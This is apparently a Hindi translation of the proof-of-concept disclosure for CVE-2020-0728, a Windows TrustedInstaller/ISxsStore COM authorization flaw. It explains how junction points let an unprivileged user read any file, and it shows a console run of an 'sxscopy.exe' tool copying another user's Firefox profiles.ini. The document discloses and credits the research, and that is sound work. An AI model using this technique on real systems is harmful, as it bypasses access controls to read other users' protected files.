
CVE-2020-0728 के लिए प्रूफ ऑफ कॉन्सेप्ट कोड
TrustedInstaller.exe सेवा NT_AUTHORITY\SYSTEM के रूप में चल रही है और Sxs Store Class (3C6859CE-230B-48A4-BE6C-932C0C202048) COM सेवा और इंटरफ़ेस ISxsStore को होस्ट कर रही है।
इस सेवा की एक्सेस अनुमतियाँ (O:BAG:BAD:(A;;CCDCLC;;;PS)(A;;CCDC;;;SY)(A;;CCDC;;;BA)(A;;CCDC;;;IU)(A;;CCDC;;;SU)) स्थानीय सिस्टम पर किसी भी उपयोगकर्ता को पहुँच प्रदान करती हैं।
ISxsStore इंटरफ़ेस 4 विधियाँ प्रदर्शित करता है:
[Guid("8601319a-d7cf-40f3-9025-7f77125453c6")]
interface ISxsStore : IUnknown {
HRESULT BeginAssemblyInstall(/* Stack Offset: 8 */ [In] int p0);
HRESULT InstallAssembly(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [In] wchar_t* p1, /* Stack Offset: 24 */ [In] struct Struct_0* p2, /* Stack Offset: 32 */ [In] struct Struct_1* p3);
HRESULT EndAssemblyInstall(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [Out] int* p1);
HRESULT UninstallAssembly(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [In] wchar_t* p1, /* Stack Offset: 24 */ [In] struct Struct_1* p2, /* Stack Offset: 32 */ [In] int* p3);
}
आह्वान करने पर, कार्यान्वयन TiWorker.exe (फिर से, NT_AUTHORITY\SYSTEM के रूप में चल रहा है) द्वारा होस्ट किए गए ICbsWorker इंटरफ़ेस को कॉल करता है ताकि ICbsSession8 सत्र प्राप्त कर सके और फिर व्यावहारिक रूप से इस इंटरफ़ेस पर समान विधियों को कॉल करता है।
वास्तविक तर्क sxsstore.dll लाइब्रेरी में लागू किया गया है; प्राधिकरण CSxsStore::BeginAssemblyInstall में पाया जा सकता है:
uVar1 = SxspEnsureComClientIsAdmin((void **)this);
यह CoImpersonateClient+CheckTokenMembership कॉल का उपयोग करके किया जाता है।
समस्या यह है, यदि TiWorker.exe प्रक्रिया द्वारा होस्ट किए गए सत्र को TrustedInstaller.exe रैपर के माध्यम से आह्वान किया जाता है, तो लागू प्राधिकरण तर्क हमेशा NT_AUTHORITY\SYSTEM से कनेक्शन का सामना करता है और इस प्रकार किसी को भी पहुँच प्रदान करता है।
स्थापित करने के लिए अनुरोधित असेंबलियों को wcp.dll (Windows::COM::CComponentStore::InternalTransact) में स्थित कार्यान्वयन द्वारा C:\Windows\WinSXS के अंतर्गत रखा जाता है और ऐसा प्रतीत होता है कि इन विधि कॉलों को इस वैध गंतव्य निर्देशिका से बचने से बचाने के लिए पर्याप्त सुरक्षा उपाय हैं, लेकिन मैनिफ़ेस्ट द्वारा संदर्भित स्रोत फ़ाइलों का जंक्शन पॉइंट्स के माध्यम से दुरुपयोग किया जा सकता है।
इसका उपयोग फ़ाइल सिस्टम DAC को बायपास करने और स्थानीय फ़ाइल सिस्टम पर किसी भी फ़ाइल को पढ़ने के लिए किया जा सकता है जैसा कि नीचे प्रदर्शित किया गया है:
Microsoft Windows [Version 10.0.18362.592]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>whoami
desktop-43rnlku\unprivileged
C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>type "C:\Users\John Doe\AppData\Roaming\Mozilla\Firefox\profiles.ini"
Access is denied.
C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>sxscopy.exe "C:\Users\John Doe\AppData\Roaming\Mozilla\Firefox\profiles.ini" profiles.ini
sxscopy: C:\Users\John Doe\AppData\Roaming\Mozilla\Firefox\profiles.ini => profiles.ini
Creating helper junction sxscopy.junction -> C:\
Junction created for sxscopy.junction <<===>> C:\
Executing DCOM magic with manifest file C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon\sxscopy.manifest
Exploitation has succeeded, copy of the source file was placed inside WinSXS
Copy has succeeded!
C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>type profiles.ini
[Install308046B0AF4A39CB]
Default=Profiles/5bqqo33l.default
Locked=1
[Profile2]
Name=johndoe
IsRelative=1
Path=Profiles/5bqqo33l.default
Default=1
[Profile1]
Name=default
IsRelative=1
Path=Profiles/x89vbmzf.default
[Profile0]
Name=default-release
IsRelative=1
Path=Profiles/1kmhc44f.default-release
[General]
StartWithLastProfile=1
Version=2
wcp फ्रेमवर्क वास्तव में काफी जटिल है और इसमें विभिन्न 'इंस्टालर' (उदा. 'उन्नत' वालों में GenericCommand निष्पादन) शामिल हैं, लेकिन ऊपर सुलभ इंटरफ़ेस केवल 'प्रिमिटिव इंस्टालर' तक सीमित प्रतीत होता है। मैं CRegistryInstaller::CommitChanges को निष्पादित करने में सक्षम था जिसने C:\Windows\Logs\CBS\CBS.log में लॉग उत्सर्जित किया, पंक्तियाँ जैसे:
2020-01-18 15:58:16, Info CSI 0000000c Registry installer wrote xxx values
लेकिन इसने वास्तव में रजिस्ट्री में कुछ भी बदलने के लिए कभी कोई API विधि नहीं बुलाई।
उपरोक्त रिपोर्ट और PoC कोड इमरे राड द्वारा प्रस्तुत किया गया था लेकिन NCC के शोधकर्ताओं द्वारा भी पहचाना गया था (वास्तव में कुछ महीने पहले)।
https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-0728